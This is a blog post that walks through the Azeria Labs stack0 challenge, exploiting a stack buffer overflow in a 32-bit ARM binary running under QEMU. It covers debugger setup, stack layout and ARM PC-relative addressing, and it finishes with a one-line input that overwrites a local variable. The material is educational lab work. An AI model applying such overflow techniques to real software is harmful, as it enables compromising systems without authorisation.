Smashing ARM Stack for Fun - Part I
January 14, 2021
This is the first of a serie of posts about exploiting 32 bits Arm binaries.
These challenges were taken from Azeria Labs.
Setup
For the records:
qemu-system-arm
-M versatilepb
-cpu arm1176
-m 256
-drive "file=2020-12-02-raspios-buster-armhf-lite.img,if=none,index=0,media=disk,format=raw,id=disk0"
-device "virtio-blk-pci,drive=disk0,disable-modern=on,disable-legacy=off"
-net "user,hostfwd=tcp::3022-:22,hostfwd=tcp::9999-:9999"
-dtb versatile-pb-buster-5.4.51.dtb
-kernel kernel-qemu-5.4.51-buster
-append "root=/dev/vda2 panic=1"
-no-reboot
-net nic
-nographic
Let’s spin a Rasbian first. Make your to forward a port for the ssh
and another for the gdbserver
so we can connect to them from the host machine.
There are 7 binaries compiled for ARM for 32 bits, not stripped and dynamically linked.
We will focus on stack0
for now.
$ file stack0
stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-armhf.so.3,
for GNU/Linux 2.6.32,
BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8,
not stripped
Spin the gdbserver
:
pi@raspberrypi:~$ gdbserver :9999 stack0
Process /home/pi/stack0 created; pid = 410
Listening on port 9999
And now, from the host, connect your gdb
to the server. In my case I will use pwndbg, an enhanced version of gdb
.
$ gdb-multiarch -q -x ~/scripts/pwndbg.gdbinit
pwndbg> target extended-remote :9999
Remote debugging using <...>
Reading /home/pi/stack0 from remote target...
In addition to the debugger, I will use an interactive assembler to play with some Arm code that I may not understand but which I don’t want to run in the debugger (see my post about iasm
).
Stack initialization
The stack initialization of main
is as follows:
pwndbg> pdisass &main
► 0x1044c <main> push {fp, lr}
0x10450 <main+4> add fp, sp, #4
0x10454 <main+8> sub sp, sp, #0x50
0x10458 <main+12> str r0, [fp, #-0x50]
0x1045c <main+16> str r1, [fp, #-0x54]
0x10460 <main+20> mov r3, #0
0x10464 <main+24> str r3, [fp, #-8]
0x10468 <main+28> sub r3, fp, #0x48
0x1046c <main+32> mov r0, r3
0x10470 <main+36> bl #gets@plt <gets@plt>
The lr
and the fp
are pushed in that order (0x8 bytes), the fp
is updated and points to the pushed lr
(add fp, sp, #4
) and then 0x50 bytes are allocated (sub sp, sp, #0x50
).
The arguments of main
, registers r0
and r1
, are saved on top of the stack (str r0, [fp, #-0x50]
, str r1, [fp, #-0x54]
).
And then the cookie is stored:
0x10460 <main+20> mov r3, #0
0x10464 <main+24> str r3, [fp, #-8]
This is our target.
Call to gets
In the main
function a call to gets
is done with a buffer allocated in the stack:
pwndbg> pdisass
0x10460 <main+20> mov r3, #0
0x10464 <main+24> str r3, [fp, #-8]
0x10468 <main+28> sub r3, fp, #0x48
0x1046c <main+32> mov r0, r3
► 0x10470 <main+36> bl #gets@plt <gets@plt>
r0: 0xbefffb6c ◂— 0x0
r1: 0xbefffd04 —▸ 0xbefffe14 ◂— '/home/pi/stack0'
r2: 0xbefffd0c —▸ 0xbefffe24 ◂— 'SHELL=/bin/bash'
r3: 0xbefffb6c ◂— 0x0
The registers before the call to gets
were:
------ ---- ------ --------- ------ --------- ------ ------
r0 1fb4 r1 eeee:eeee r2 0 r3 1fb4
r4 0 r5 0 r6 0 r7 0
r8 0 r9/sb 0 r10 0 r11/fp 1ffc
r12/ip 0 r13/sp 1fa8 r14/lr aaaa:aaaa r15/pc 100:20
------ ---- ------ --------- ------ --------- ------ ------
And the manually-annotated stack was:
100:20> ;! M[sp:] # <-- from sp to the end of the mapped page
[
--
| \xee\xee\xee\xee == r1
| \xdd\xdd\xdd\xdd == r0
0x50 | \x00\x00\x00\x00
| ... 16 more rows full of zeros ...
cookie -|-->\x00\x00\x00\x00
--
0x8 | \xbb\xbb\xbb\xbb == fp
fp ----|-->\xaa\xaa\xaa\xaa == lr
--
] <-- base of stack
r3
points almost to the begin of the bunch of zeros, just 4 bytes below.
We can verify this writing and inspecting the memory:
100:20> ;! M[r3:] = b"AAAABBBBCCCC"
100:20> ;! M[sp:]
[
\xee\xee\xee\xee
\xdd\xdd\xdd\xdd
\x00\x00\x00\x00 == these are still zeros
buf --> AAAA
BBBB
CCCC
\x00\x00\x00\x00
...
]
Indeed, the destination buffer of gets
has 0x48 - 0x8 bytes (we subtract 4 bytes for the cookie and 4 bytes for the stored fp
)
100:20> ;! M[sp:]
[
--
| \xee\xee\xee\xee == r1
| \xdd\xdd\xdd\xdd == r0
0x50 | \x00\x00\x00\x00
buf ----|-->AAAA
| BBBB
| CCCC
| ... 13 more rows full of zeros ...
cookie -|-->\x00\x00\x00\x00
--
0x8 | \xbb\xbb\xbb\xbb == fp
fp ----|-->\xaa\xaa\xaa\xaa == lr
--
]
The target
The program stores a cookie initialized to zero in the stack before the call to gets
and then it checks its value.
0x10460 <main+20> mov r3, #0
0x10464 <main+24> str r3, [fp, #-8]
...
0x10470 <main+36> bl #gets@plt <gets@plt>
0x10474 <main+40> ldr r3, [fp, #-8]
0x10478 <main+44> cmp r3, #0
If it is still zero jumps to a puts
that prints "Try again?"
.
But if an overflow occurs, the cookies will be non-zero and another puts
will executed.
This is the print that we are looking for:
0x10480 <main+52> ldr r0, [pc, #0x18]
► 0x10484 <main+56> bl #puts@plt <puts@plt>
The address of the string to print is stored in the code segment, 0x18 bytes below the program counter at 0x10480.
However 0x10480 + 0x18 == 0x10498 is not correct:
pwndbg> x/4 0x10498
0x10498 <main+76>: 0xe24bd004 0xe8bd8800 0x0001051c 0x00010548
почему?
“When using R15 as the base register you must remember it contains an address 8 bytes on from the address of the current instruction.” Arm documentation
So it is 0x10498 + 0x8:
pwndbg> x/4 0x104a0
0x104a0 <main+84>: 0x0001051c 0x00010548 0xe92d43f8 0xe1a07000
pwndbg> p (char*)0x0001051c
$21 = 0x1051c "you have changed the 'modified' variable"
The exploit
Writing 0x40+1 bytes we will overflow the buffer overwriting the cookie in the stack but without corrupting the stack further.
pi@raspberrypi:~$ echo -n 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | ./stack0
you have changed the 'modified' variable
Related tags: reversing, exploiting, ARM, qemu, iasm, azeria-labs